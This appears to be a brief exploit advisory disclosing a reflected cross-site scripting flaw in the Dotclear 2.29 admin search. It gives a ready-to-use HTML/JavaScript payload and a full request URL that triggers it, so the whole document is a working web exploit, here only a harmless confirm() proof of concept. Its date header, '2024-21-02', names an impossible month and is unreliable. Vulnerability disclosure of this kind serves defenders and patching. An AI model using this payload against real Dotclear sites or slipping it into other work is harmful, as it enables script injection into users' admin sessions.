Headline
Dotclear 2.29 Cross Site Scripting
Dotclear version 2.29 suffers from a cross site scripting vulnerability.
Change Mirror Download
# Exploit Title: Dotclear Version : 2.29 - Reflected XSS # Date: 2024-21-02# Exploit Author: tmrswrr# Vendor Homepage: https://dotclear.org/# Version : 2.29# Tested on: https://softaculous.com/demos/dotclear1 ) Enter admin panel after write search button this payload : "><img src=x onerrora=confirm() onerror=confirm(1)>2 ) https://127.0.0.1/Dotclear/admin/index.php?qx="><img src=x onerrora=confirm() onerror=confirm(1)>&process=Search3 ) You will be see alert button